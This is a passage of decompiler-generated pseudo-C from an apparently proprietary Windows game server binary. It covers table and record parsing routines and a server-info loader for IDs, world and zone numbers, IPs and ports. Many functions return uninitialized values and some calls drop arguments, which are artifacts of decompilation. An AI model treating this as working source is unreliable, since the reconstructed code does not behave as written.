*)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderDwrd::_vftable_; result->orch_Length = 4; v3->orchl_fieldname[v4] = result; break; default: LABEL_17: result = v3->orchl_fieldname[v4]; break; } return result; } // 5E6724: using guessed type int (__stdcall *ORColumnHeaderIndex___vftable_)(int token, int targ); // 5E672C: using guessed type int (__stdcall *ORColumnHeaderString___vftable_)(int token, int result); // 5E67A8: using guessed type int (__stdcall *ORColumnHeaderByte___vftable_)(int token, int targ); // 5E67B0: using guessed type int (__stdcall *ORColumnHeaderWord___vftable_)(int token, int targ); // 5E67B8: using guessed type int (__stdcall *ORColumnHeaderDwrd___vftable_)(int token, int targ); //----- (0055CAD0) -------------------------------------------------------- char __thiscall ORRecord::orr_4AllInList(ORRecord *this, ListIteratorDefault *arg) { ORRecord *v2; // ebx@1 signed int v3; // esi@1 ORField *v4; // eax@2 v2 = this; v3 = 0; while ( 1 ) { v4 = v2->orr_FieldArray[v3]; if ( v4 ) { if ( !arg->vfptr->lid_Call(arg, v4, v3) ) break; } ++v3; if ( v3 >= 512 ) return 1; } return 0; } //----- (0055CB10) -------------------------------------------------------- char __thiscall MakePrimaryKey::lid_Call(MakePrimaryKey *this, ORRecord *ele, unsigned __int16 handle) { int v3; // edx@1 ORKeyList *v4; // eax@1 MakePrimaryKeyColumn arg; // [sp+0h] [bp-30h]@1 unsigned int cookie; // [sp+20h] [bp-10h]@1 int v8; // [sp+2Ch] [bp-4h]@1 *(_QWORD *)&arg.mpkc_keycolumn.ort_Name[0] = *(_QWORD *)&this->mpk_keycolumn.ort_Name[0]; v4 = this->mpk_keylist; *(_DWORD *)&arg.mpkc_keycolumn.ort_Name[8] = *(_DWORD *)&this->mpk_keycolumn.ort_Name[8]; v3 = *(_DWORD *)&this->mpk_keycolumn.ort_Name[12]; *(_DWORD *)&arg.mpkc_keycolumn.ort_Name[16] = *(_DWORD *)&this->mpk_keycolumn.ort_Name[16]; arg.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)MakePrimaryKeyColumn::_vftable_; *(_DWORD *)&arg.mpkc_keycolumn.ort_Name[12] = v3; arg.mpkc_rec = ele; arg.mpkc_keylist = v4; v8 = 0; ORRecord::orr_4AllInList(ele, &arg.baseclass_0); __security_check_cookie(cookie); return (char)v4; } // 5E67C0: using guessed type int (__stdcall *MakePrimaryKeyColumn___vftable_[4])(int ele, __int16 handle); //----- (0055CBA0) -------------------------------------------------------- char __thiscall ColumnNameArgument::lid_Call(ColumnNameArgument *this, ORColumnHeader *ele, unsigned __int16 handle) { ColumnNameArgument *v3; // esi@1 char *v4; // eax@1 char result; // al@2 v3 = this; v4 = ORTokenReader::ortr_ReadString(this->cna_token, BIS_EXCLUDEBRACE); if ( v4 ) { *(_QWORD *)&ele->orch_ColumnName.ort_Name[12] = 0i64; *(_QWORD *)&ele->orch_ColumnName.ort_Name[4] = 0i64; *(_DWORD *)&ele->orch_ColumnName.ort_Name[0] = 0; strncpy(ele->orch_ColumnName.ort_Name, v4, 0x14u); result = 1; } else { ORTokenReader::ortr_SetError(v3->cna_token, "Column type-name mismatch"); result = 0; } return result; } //----- (0055CBF0) -------------------------------------------------------- char __thiscall DataRecordArgument::lid_Call(DataRecordArgument *this, ORColumnHeader *ele, unsigned __int16 handle) { return ORColumnHeader::orch_FillCell(ele, this->dra_token, this->dra_datarecord); } //----- (0055CC10) -------------------------------------------------------- char __thiscall RecordDataCompareArgument::lid_Call(RecordDataCompareArgument *this, ORRecord *ele, unsigned __int16 handle) { RecordDataCompareArgument *v3; // esi@1 char *v4; // ST04_4@1 int v5; // eax@2 char result; // al@4 ColumnCheckArgument arg; // [sp+0h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-10h]@4 int v9; // [sp+30h] [bp-4h]@1 v3 = this; v4 = this->rdca_content; arg.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)ColumnCheckArgument::_vftable_; arg.cca_column = &this->rdca_column; arg.cca_contentstring = v4; *(_QWORD *)&arg.cca_contentindex.ort_Name[12] = 0i64; *(_QWORD *)&arg.cca_contentindex.ort_Name[4] = 0i64; *(_DWORD *)&arg.cca_contentindex.ort_Name[0] = 0; strncpy(arg.cca_contentindex.ort_Name, v4, 0x14u); arg.cca_found = 0; v9 = 0; ORRecord::orr_4AllInList(ele, &arg.baseclass_0); if ( arg.cca_found ) { v5 = v3->rdca_skip; if ( v5 <= 0 ) v3->rdca_record = ele; else v3->rdca_skip = v5 - 1; } __security_check_cookie(v8); return result; } // 5E67F0: using guessed type int (__stdcall *ColumnCheckArgument___vftable_[4])(int ele, __int16 handle); //----- (0055CCD0) -------------------------------------------------------- void __thiscall ORColumnHeaderList::_ORColumnHeaderList(ORColumnHeaderList *this) { ORColumnHeaderList *v1; // edi@1 signed int v2; // esi@1 ORColumnHeader *v3; // ecx@2 void *v4; // ecx@3 v1 = this; v2 = 0; do { v3 = v1->orchl_fieldname[v2]; if ( v3 ) { ORColumnHeader::_ORColumnHeader(v3); operator delete(v4); } ++v2; } while ( v2 < 512 ); } //----- (0055CD00) -------------------------------------------------------- char __thiscall ORTable::ort_MakePrimaryKey(ORTable *this, char *column) { ORTable *v2; // esi@1 void *v3; // edi@1 void *v4; // eax@3 ORKeyList *v5; // eax@4 ORKeyList *v6; // edi@4 void *v7; // edi@8 char result; // al@11 MakePrimaryKey arg; // [sp+4h] [bp-2Ch]@7 unsigned int v10; // [sp+20h] [bp-10h]@11 int v11; // [sp+2Ch] [bp-4h]@3 v2 = this; v3 = this->ort_PrimaryKey; if ( v3 ) { ORKeyList::_ORKeyList(this->ort_PrimaryKey); operator delete(v3); } v4 = operator new(0x6004u); v11 = 0; if ( v4 ) { ORKeyList::ORKeyList((ORKeyList *)v4); v6 = v5; } else { v6 = 0; } v11 = -1; v2->ort_PrimaryKey = v6; if ( v6 ) { arg.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)MakePrimaryKey::_vftable_; *(_QWORD *)&arg.mpk_keycolumn.ort_Name[12] = 0i64; *(_QWORD *)&arg.mpk_keycolumn.ort_Name[4] = 0i64; *(_DWORD *)&arg.mpk_keycolumn.ort_Name[0] = 0; strncpy(arg.mpk_keycolumn.ort_Name, column, 0x14u); arg.mpk_keylist = v6; v11 = 1; List::l_4AllInList((List *)&v2->ort_DataRecord, (ListIteratorDefault *)&arg); if ( !ORKeyList::okl_Sorting(v2->ort_PrimaryKey) ) { v7 = v2->ort_PrimaryKey; if ( v7 ) { ORKeyList::_ORKeyList(v2->ort_PrimaryKey); operator delete(v7); } v2->ort_PrimaryKey = 0; } } __security_check_cookie(v10); return result; } // 5E67C4: using guessed type int (__stdcall *MakePrimaryKey___vftable_[3])(int ele, __int16 handle); //----- (0055CE30) -------------------------------------------------------- char __thiscall ORTable::ort_ReadColumnName(ORTable *this, ORTokenReader *token) { ColumnNameArgument arg; // [sp+0h] [bp-14h]@1 int v4; // [sp+10h] [bp-4h]@1 arg.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ColumnNameArgument::_vftable_; arg.cna_token = token; v4 = 0; return ORRecord::orr_4AllInList((ORRecord *)&this->ort_HeaderList, (ListIteratorDefault *)&arg); } // 5E67CC: using guessed type int (__stdcall *ColumnNameArgument___vftable_)(int ele, __int16 handle); //----- (0055CE80) -------------------------------------------------------- void *__thiscall ORRecord::orr_GetFieldData(ORRecord *this, char *targetcolumn, int *type) { ORRecord *v3; // edi@1 void *result; // eax@1 TargetColumnFindArgument arg; // [sp+0h] [bp-30h]@1 unsigned int v6; // [sp+20h] [bp-10h]@1 int v7; // [sp+2Ch] [bp-4h]@1 v3 = this; arg.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)TargetColumnFindArgument::_vftable_; *(_QWORD *)&arg.tcfa_target.ort_Name[12] = 0i64; *(_QWORD *)&arg.tcfa_target.ort_Name[4] = 0i64; *(_DWORD *)&arg.tcfa_target.ort_Name[0] = 0; strncpy(arg.tcfa_target.ort_Name, targetcolumn, 0x14u); arg.tcfa_content = 0; arg.tcfa_type = type; v7 = 0; ORRecord::orr_4AllInList(v3, &arg.baseclass_0); __security_check_cookie(v6); return result; } // 5E67F4: using guessed type int (__stdcall *TargetColumnFindArgument___vftable_[3])(int ele, __int16 handle); //----- (0055CF20) -------------------------------------------------------- void *__thiscall ORTable::ort_FindData(ORTable *this, char *column, char *content, char *targetcolumn, int skip, int *type) { ORTable *v6; // edi@1 void *result; // eax@3 RecordDataCompareArgument arg; // [sp+0h] [bp-34h]@1 unsigned int v9; // [sp+24h] [bp-10h]@3 int v10; // [sp+30h] [bp-4h]@1 v6 = this; arg.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)RecordDataCompareArgument::_vftable_; *(_QWORD *)&arg.rdca_column.ort_Name[12] = 0i64; *(_QWORD *)&arg.rdca_column.ort_Name[4] = 0i64; *(_DWORD *)&arg.rdca_column.ort_Name[0] = 0; strncpy(arg.rdca_column.ort_Name, column, 0x14u); arg.rdca_content = content; arg.rdca_record = 0; arg.rdca_skip = skip; v10 = 0; List::l_4AllInList((List *)&v6->ort_DataRecord, (ListIteratorDefault *)&arg); if ( arg.rdca_record ) ORRecord::orr_GetFieldData(arg.rdca_record, targetcolumn, type); __security_check_cookie(v9); return result; } // 5E67F8: using guessed type int (__stdcall *RecordDataCompareArgument___vftable_[2])(int ele, __int16 handle); //----- (0055CFE0) -------------------------------------------------------- void *__thiscall ORTable::ort_RecordBuffer(ORTable *this, int order) { void *result; // eax@2 OrderArgument arg; // [sp+0h] [bp-18h]@1 int v4; // [sp+14h] [bp-4h]@1 arg.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)OrderArgument::_vftable_; arg.oa_target = order; arg.oa_record = 0; v4 = 0; List::l_4AllInList((List *)&this->ort_DataRecord, (ListIteratorDefault *)&arg); if ( arg.oa_record ) result = ORRecord::orr_GetBuffer(arg.oa_record); else result = 0; return result; } // 5E67C8: using guessed type int (__stdcall *OrderArgument___vftable_[2])(int ele, __int16 handle); //----- (0055D060) -------------------------------------------------------- void *__thiscall ORTable::ort_RecordBuffer(ORTable *this, char *column, char *content, int skip) { ORTable *v4; // edi@1 void *result; // eax@3 RecordDataCompareArgument arg; // [sp+0h] [bp-34h]@1 unsigned int v7; // [sp+24h] [bp-10h]@3 int v8; // [sp+30h] [bp-4h]@1 v4 = this; arg.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)RecordDataCompareArgument::_vftable_; *(_QWORD *)&arg.rdca_column.ort_Name[12] = 0i64; *(_QWORD *)&arg.rdca_column.ort_Name[4] = 0i64; *(_DWORD *)&arg.rdca_column.ort_Name[0] = 0; strncpy(arg.rdca_column.ort_Name, column, 0x14u); arg.rdca_content = content; arg.rdca_record = 0; arg.rdca_skip = skip; v8 = 0; List::l_4AllInList((List *)&v4->ort_DataRecord, (ListIteratorDefault *)&arg); if ( arg.rdca_record ) ORRecord::orr_GetBuffer(arg.rdca_record); __security_check_cookie(v7); return result; } // 5E67F8: using guessed type int (__stdcall *RecordDataCompareArgument___vftable_[2])(int ele, __int16 handle); //----- (0055D110) -------------------------------------------------------- void *__thiscall OptionReader::or_SelectFromOrder(OptionReader *this, ORToken table, int order) { void *result; // eax@3 TableNameCompareArgument tname; // [sp+0h] [bp-2Ch]@1 unsigned int cookie; // [sp+1Ch] [bp-10h]@3 int v6; // [sp+28h] [bp-4h]@1 *(_QWORD *)&tname.tnca_tablename.ort_Name[0] = *(_QWORD *)&table; *(_QWORD *)&tname.tnca_tablename.ort_Name[8] = *(_QWORD *)&table.ort_Name[8]; tname.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&TableNameCompareArgument::_vftable_; *(_DWORD *)&tname.tnca_tablename.ort_Name[16] = *(_DWORD *)&table.ort_Name[16]; tname.tnca_found = 0; v6 = 0; List::l_4AllInList(&this->or_TableList, &tname.baseclass_0); if ( tname.tnca_found ) ORTable::ort_RecordBuffer(tname.tnca_found, order); __security_check_cookie(cookie); return result; } // 5E67FC: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (0055D1B0) -------------------------------------------------------- void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *key, int *type) { ORKeyList *v5; // ecx@2 ORKeyList **v6; // esi@2 ORRecord *v7; // eax@4 void *result; // eax@5 TableNameCompareArgument tname; // [sp+0h] [bp-2Ch]@1 unsigned int cookie; // [sp+1Ch] [bp-10h]@5 int v11; // [sp+28h] [bp-4h]@1 *(_QWORD *)&tname.tnca_tablename.ort_Name[0] = *(_QWORD *)&table; *(_QWORD *)&tname.tnca_tablename.ort_Name[8] = *(_QWORD *)&table.ort_Name[8]; tname.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&TableNameCompareArgument::_vftable_; *(_DWORD *)&tname.tnca_tablename.ort_Name[16] = *(_DWORD *)&table.ort_Name[16]; tname.tnca_found = 0; v11 = 0; List::l_4AllInList(&this->or_TableList, &tname.baseclass_0); if ( tname.tnca_found ) { v5 = tname.tnca_found->ort_PrimaryKey; v6 = &tname.tnca_found->ort_PrimaryKey; if ( v5 ) { if ( ORKeyList::okl_Searching(v5, key) ) { v7 = ORKeyList::okl_Searching(*v6, key); ORRecord::orr_GetFieldData(v7, targetcolumn, type); } } } __security_check_cookie(cookie); return result; } // 5E67FC: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (0055D280) -------------------------------------------------------- void *__thiscall OptionReader::or_SelectFrom(OptionReader *this, ORToken table, char *column, char *content, int skip) { void *result; // eax@3 TableNameCompareArgument tname; // [sp+0h] [bp-2Ch]@1 unsigned int cookie; // [sp+1Ch] [bp-10h]@3 int v8; // [sp+28h] [bp-4h]@1 *(_QWORD *)&tname.tnca_tablename.ort_Name[0] = *(_QWORD *)&table; *(_QWORD *)&tname.tnca_tablename.ort_Name[8] = *(_QWORD *)&table.ort_Name[8]; tname.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&TableNameCompareArgument::_vftable_; *(_DWORD *)&tname.tnca_tablename.ort_Name[16] = *(_DWORD *)&table.ort_Name[16]; tname.tnca_found = 0; v8 = 0; List::l_4AllInList(&this->or_TableList, &tname.baseclass_0); if ( tname.tnca_found ) ORTable::ort_RecordBuffer(tname.tnca_found, column, content, skip); __security_check_cookie(cookie); return result; } // 5E67FC: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (0055D330) -------------------------------------------------------- void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *column, char *content, int skip, int *type) { void *result; // eax@3 TableNameCompareArgument tname; // [sp+0h] [bp-2Ch]@1 unsigned int cookie; // [sp+1Ch] [bp-10h]@3 int v10; // [sp+28h] [bp-4h]@1 *(_QWORD *)&tname.tnca_tablename.ort_Name[0] = *(_QWORD *)&table; *(_QWORD *)&tname.tnca_tablename.ort_Name[8] = *(_QWORD *)&table.ort_Name[8]; tname.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&TableNameCompareArgument::_vftable_; *(_DWORD *)&tname.tnca_tablename.ort_Name[16] = *(_DWORD *)&table.ort_Name[16]; tname.tnca_found = 0; v10 = 0; List::l_4AllInList(&this->or_TableList, &tname.baseclass_0); if ( tname.tnca_found ) ORTable::ort_FindData(tname.tnca_found, column, content, targetcolumn, skip, type); __security_check_cookie(cookie); return result; } // 5E67FC: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (0055D3F0) -------------------------------------------------------- char __thiscall OptionReader::or_MakePrimaryKey(OptionReader *this, ORToken table, char *column) { char result; // al@3 TableNameCompareArgument tname; // [sp+0h] [bp-2Ch]@1 unsigned int cookie; // [sp+1Ch] [bp-10h]@3 int v6; // [sp+28h] [bp-4h]@1 *(_QWORD *)&tname.tnca_tablename.ort_Name[0] = *(_QWORD *)&table; *(_QWORD *)&tname.tnca_tablename.ort_Name[8] = *(_QWORD *)&table.ort_Name[8]; tname.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&TableNameCompareArgument::_vftable_; *(_DWORD *)&tname.tnca_tablename.ort_Name[16] = *(_DWORD *)&table.ort_Name[16]; tname.tnca_found = 0; v6 = 0; List::l_4AllInList(&this->or_TableList, &tname.baseclass_0); if ( tname.tnca_found ) ORTable::ort_MakePrimaryKey(tname.tnca_found, column); __security_check_cookie(cookie); return result; } // 5E67FC: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (0055D490) -------------------------------------------------------- int __thiscall OptionReader::or_SelectCount(OptionReader *this) { return this->or_TableList.l_ListNum; } //----- (0055D4A0) -------------------------------------------------------- char __thiscall List::l_Enlargement(List *this, int extsize) { List *v2; // ebp@1 ListArray *v4; // eax@3 int v5; // edi@3 int v6; // ebx@5 void *v7; // eax@5 void *v8; // esi@6 void *v9; // eax@9 int v10; // esi@13 void *v11; // ecx@17 void *v12; // edx@17 int v13; // esi@17 int v14; // ecx@19 int v15; // edx@20 int v16; // eax@22 int v17; // edx@22 void *v18; // ST10_4@22 void **v19; // eax@22 void *v20; // eax@22 void *v21; // esi@23 ListArray *v22; // edx@24 void *newarray; // [sp+0h] [bp-14h]@9 void *extsizea; // [sp+18h] [bp+4h]@6 v2 = this; if ( this->l_Finger.empty != -1 ) return 0; v4 = this->l_ListArray; v5 = 0; if ( !v4 ) return 0; v6 = extsize + v4->la_Size; v7 = operator new__(2056 * (extsize + v4->la_Size) + 4); if ( v7 ) { v8 = (char *)v7 + 4; *(_DWORD *)v7 = v6; _eh_vector_constructor_iterator_( (char *)v7 + 4, 0x808u, v6, (void (__thiscall *)(void *))ORRecord::ORRecord, (void (__thiscall *)(void *))ORRecord::_ORRecord); extsizea = v8; } else { extsizea = 0; v8 = 0; } if ( !v8 ) return 0; v9 = operator new__(12 * v6 + 12); newarray = v9; if ( !v9 ) { _eh_vector_destructor_iterator_(v8, 0x808u, *((_DWORD *)v8 - 1), (void (__thiscall *)(void *))ORRecord::_ORRecord); operator delete__((char *)v8 - 4); return 0; } if ( v2->l_ListArray->la_Size > 0 ) { v10 = 0; do { ORRecord::l_Clone((ORRecord *)((char *)extsizea + v10 * 2056), &v2->l_ListArray->la_Array[v10]); ++v5; ++v10; } while ( v5 < v2->l_ListArray->la_Size ); v9 = newarray; } memcpy(v9, v2->l_Array, 12 * v2->l_ListArray->la_Size); *((_WORD *)v9 + 6 * v2->l_Array[v2->l_Finger.store].ls_Next + 3) = v6; *((_WORD *)v9 + 6 * v2->l_Array[v2->l_Finger.store].ls_Prev + 2) = v6; if ( v6 > 0 ) { v11 = extsizea; v12 = v9; v13 = v6; do { *(_DWORD *)v12 = v11; v11 = (char *)v11 + 2056; v12 = (char *)v12 + 12; --v13; } while ( v13 ); } v14 = v2->l_MaxSize; if ( v14 < v6 ) { v15 = (int)((char *)v9 + 12 * v14 + 4); do { *(_WORD *)v15 = v14 + 1; *(_BYTE *)(v15 + 4) = 0; *(_WORD *)(v15 + 2) = v14++ - 1; v15 += 12; } while ( v14 < v6 ); } *((_WORD *)v9 + 6 * v2->l_MaxSize + 3) = v6 - 1; v16 = (int)((char *)v9 + 12 * v6); *(_WORD *)(v16 - 8) = v2->l_MaxSize; v17 = (int)&v2->l_Array[v2->l_MaxSize]; *(_DWORD *)v16 = *(_DWORD *)v17; *(_DWORD *)(v16 + 4) = *(_DWORD *)(v17 + 4); *(_DWORD *)(v16 + 8) = *(_DWORD *)(v17 + 8); v18 = v2->l_Array; v2->l_Finger.empty = v2->l_MaxSize; operator delete__(v18); v19 = (void **)v2->l_ListArray; v2->l_Array = (ListStruct *)newarray; v20 = *v19; if ( v20 ) { v21 = (char *)v20 - 4; _eh_vector_destructor_iterator_(v20, 0x808u, *((_DWORD *)v20 - 1), (void (__thiscall *)(void *))ORRecord::_ORRecord); operator delete__(v21); } v2->l_ListArray->la_Array = (ORRecord *)extsizea; v22 = v2->l_ListArray; v2->l_MaxSize = v6; v22->la_Size = (unsigned __int16)v6; v2->l_Finger.store = LOWORD(v2->l_ListArray->la_Size); return 1; } //----- (0055D730) -------------------------------------------------------- char __thiscall ORTable::ort_ReadData(ORTable *this, ORTokenReader *token) { ORTable *v2; // ebx@1 char *v3; // esi@1 int v4; // eax@1 int v5; // edi@2 char result; // al@4 int v7; // eax@5 DataRecordArgument arg; // [sp+4h] [bp-18h]@8 int v9; // [sp+18h] [bp-4h]@8 v2 = this; v3 = (char *)&this->ort_DataRecord; v4 = this->ort_DataRecord.l_Finger.empty; if ( (_WORD)v4 != -1 ) { v5 = (*(int (__thiscall **)(List *, int))(*(_DWORD *)v3 + 4))(&this->ort_DataRecord, v4); if ( v5 ) goto LABEL_11; } if ( !List::l_Enlargement((List *)v3, 8) ) { ORTokenReader::ortr_SetError(token, "Too many records"); return 0; } v7 = *((_WORD *)v3 + 6); if ( (_WORD)v7 != -1 && (v5 = (*(int (__thiscall **)(char *, int))(*(_DWORD *)v3 + 4))(v3, v7)) != 0 ) { LABEL_11: ORRecord::orr_MakeBuffer((ORRecord *)v5, v2->ort_RecordLength); arg.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)DataRecordArgument::_vftable_; arg.dra_token = token; arg.dra_datarecord = (ORRecord *)v5; v9 = 0; result = ORRecord::orr_4AllInList((ORRecord *)&v2->ort_HeaderList, (ListIteratorDefault *)&arg); } else { ORTokenReader::ortr_SetError(token, "Record alloc error after list enlargement"); result = 0; } return result; } // 5E67EC: using guessed type int (__stdcall *DataRecordArgument___vftable_[5])(int ele, __int16 handle); //----- (0055D830) -------------------------------------------------------- char __thiscall OptionReader::or_ExecRecordIn(OptionReader *this, ORTokenReader *token) { OptionReader *v2; // esi@1 char *v3; // eax@1 char result; // al@4 char *v5; // [sp-10h] [bp-50h]@2 ORToken table; // [sp+0h] [bp-40h]@5 TableNameCompareArgument tname; // [sp+14h] [bp-2Ch]@5 unsigned int v8; // [sp+30h] [bp-10h]@4 int v9; // [sp+3Ch] [bp-4h]@5 v2 = this; v3 = ORTokenReader::ortr_ReadString(token, BIS_EXCLUDEBRACE); if ( !v3 ) { v5 = "#recordin has no table name"; LABEL_3: ORErrorMessage::operator_(&v2->or_Argument.errmsg, v5); goto LABEL_4; } *(_QWORD *)&table.ort_Name[12] = 0i64; *(_QWORD *)&table.ort_Name[4] = 0i64; *(_QWORD *)&table.ort_Name[0] = 0i64; strncpy(table.ort_Name, v3, 0x14u); *(_QWORD *)&tname.tnca_tablename.ort_Name[0] = *(_QWORD *)&table; tname.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&TableNameCompareArgument::_vftable_; *(_QWORD *)&tname.tnca_tablename.ort_Name[8] = *(_QWORD *)&table.ort_Name[8]; *(_DWORD *)&tname.tnca_tablename.ort_Name[16] = *(_DWORD *)&table.ort_Name[16]; tname.tnca_found = 0; v9 = 0; List::l_4AllInList(&v2->or_TableList, &tname.baseclass_0); if ( !tname.tnca_found ) { v5 = "Unknown table name"; goto LABEL_3; } if ( ORTable::ort_ReadData(tname.tnca_found, token) ) !ORTokenReader::ortr_isEOL(token); LABEL_4: __security_check_cookie(v8); return result; } // 5E67FC: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (0055D940) -------------------------------------------------------- char __thiscall OptionReader::or_ExecRecord(OptionReader *this, ORTokenReader *token) { ORTable *v2; // eax@1 char result; // al@2 v2 = this->or_CurrentTable; if ( v2 ) { result = ORTable::ort_ReadData(v2, token) && ORTokenReader::ortr_isEOL(token); } else { ORErrorMessage::operator_(&this->or_Argument.errmsg, "Record without table"); result = 0; } return result; } //----- (0055D990) -------------------------------------------------------- void *__thiscall OptionReader::or_SelectFrom(OptionReader *this, ORToken table, char *column, int content, int skip) { OptionReader *v5; // esi@1 _BYTE v6[20]; // ST00_20@1 char buf[16]; // [sp+4h] [bp-14h]@1 v5 = this; sprintf(buf, "%d"); *(_QWORD *)v6 = *(_QWORD *)&table; *(_QWORD *)&v6[8] = *(_QWORD *)&table.ort_Name[8]; *(_DWORD *)&v6[16] = *(_DWORD *)&table.ort_Name[16]; return OptionReader::or_SelectFrom(v5, *(ORToken *)v6, column, buf, skip); } //----- (0055DA10) -------------------------------------------------------- void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *column, int content, int skip, int *type) { OptionReader *v7; // esi@1 _BYTE v8[20]; // ST04_20@1 char buf[16]; // [sp+4h] [bp-14h]@1 v7 = this; sprintf(buf, "%d"); *(_QWORD *)v8 = *(_QWORD *)&table; *(_QWORD *)&v8[8] = *(_QWORD *)&table.ort_Name[8]; *(_DWORD *)&v8[16] = *(_DWORD *)&table.ort_Name[16]; return OptionReader::or_Select(v7, targetcolumn, *(ORToken *)v8, column, buf, skip, type); } //----- (0055DA90) -------------------------------------------------------- int __thiscall OptionReader::or_SelectCountFrom(OptionReader *this, ORToken table) { int result; // eax@1 TableNameCompareArgument tname; // [sp+0h] [bp-2Ch]@1 unsigned int cookie; // [sp+1Ch] [bp-10h]@1 int v5; // [sp+28h] [bp-4h]@1 *(_QWORD *)&tname.tnca_tablename.ort_Name[0] = *(_QWORD *)&table; *(_QWORD *)&tname.tnca_tablename.ort_Name[8] = *(_QWORD *)&table.ort_Name[8]; tname.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&TableNameCompareArgument::_vftable_; *(_DWORD *)&tname.tnca_tablename.ort_Name[16] = *(_DWORD *)&table.ort_Name[16]; tname.tnca_found = 0; v5 = 0; List::l_4AllInList(&this->or_TableList, &tname.baseclass_0); __security_check_cookie(cookie); return result; } // 5E67FC: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (0055DB30) -------------------------------------------------------- void __thiscall CServerInfo::CServerInfo(CServerInfo *this) { CCsl::CCsl(&this->m_Csl); } //----- (0055DB40) -------------------------------------------------------- int __thiscall CServerInfo::ReadServerInfo(CServerInfo *this, char *pFN) { CCsl *v2; // esi@1 v2 = (CCsl *)this; CCsl::Clear(&this->m_Csl); return CCsl::ReadScript(v2, pFN, 0, 0x401u, 0); } //----- (0055DB80) -------------------------------------------------------- int __thiscall CServerInfo::GetMyServerInfo(CServerInfo *this, CServerInfo::MY_SERVER *pMyServer) { CCsl *v2; // edi@1 int v3; // ebx@1 int v4; // esi@1 int result; // eax@4 v2 = (CCsl *)this; v3 = CCsl::GetNumDatas(&this->m_Csl); v4 = 0; if ( v3 <= 0 ) { LABEL_4: result = 0; } else { while ( CCsl::GetDataInfo(v2, v4)->dwID ) { ++v4; if ( v4 >= v3 ) goto LABEL_4; } pMyServer->pServiceName = (char *)CCsl::GetData(v2, v4, 0); pMyServer->pDisplayName = (char *)CCsl::GetData(v2, v4, 1); pMyServer->nServerID = *(_DWORD *)CCsl::GetData(v2, v4, 2); pMyServer->nWorldNo = *(_DWORD *)CCsl::GetData(v2, v4, 3); pMyServer->nZoneNo = *(_DWORD *)CCsl::GetData(v2, v4, 4); result = 1; } return result; } //----- (0055DC10) -------------------------------------------------------- int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ScriptorDataIndex) { CCsl *v3; // esi@1 int result; // eax@2 v3 = (CCsl *)this; if ( CCsl::GetDataInfo(&this->m_Csl, ScriptorDataIndex)->dwID == 2 ) { pServerInfo->pName = (char *)CCsl::GetData(v3, ScriptorDataIndex, 0); pServerInfo->nServerID = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 1); pServerInfo->nWorldNo = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 2); pServerInfo->nZoneNo = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 3); pServerInfo->nServerIDFrom = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 4); pServerInfo->pIP = (char *)CCsl::GetData(v3, ScriptorDataIndex, 5); pServerInfo->nPort = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 6); pServerInfo->nBackLog = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 7); pServerInfo->nMaxAccept = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 8); result = 1; } else { result = 0; } return result; } //----- (0055DCC0) -------------------------------------------------------- int __thiscall CServerInfo::GetServerIndex(CServerInfo *this, int ServerID, int WorldNo, int ZoneNo, int ServerIDFrom) { CServerInfo *v5; // edi@1 int v6; // ebx@1 int v7; // esi@1 int result; // eax@8 CServerInfo::SERVER_INFO ServerInfo; // [sp+10h] [bp-24h]@2 v5 = this; v6 = CCsl::GetNumDatas(&this->m_Csl); v7 = 0; if ( v6 <= 0 ) { LABEL_8: result = -1; } else { while ( !CServerInfo::GetServerInfo(v5, &ServerInfo, v7) || ServerID != ServerInfo.nServerID || WorldNo != ServerInfo.nWorldNo || ZoneNo != ServerInfo.nZoneNo || ServerIDFrom != ServerInfo.nServerIDFrom ) { ++v7; if ( v7 >= v6 ) goto LABEL_8; } result = v7; } return result; } //----- (0055DD40) -------------------------------------------------------- int __thiscall CServerInfo::GetServerIndex(CServerInfo *this, int ServerID, int WorldNo, int ZoneNo) { CServerInfo *v4; // edi@1 int v5; // ebx@1 int v6; // esi@1 int result; // eax@7 CServerInfo::SERVER_INFO ServerInfo; // [sp+10h] [bp-24h]@2 v4 = this; v5 = CCsl::GetNumDatas(&this->m_Csl); v6 = 0; if ( v5 <= 0 ) { LABEL_7: result = -1; } else { while ( !CServerInfo::GetServerInfo(v4, &ServerInfo, v6) || ServerID != ServerInfo.nServerID || WorldNo != ServerInfo.nWorldNo || ZoneNo != ServerInfo.nZoneNo ) { ++v6; if 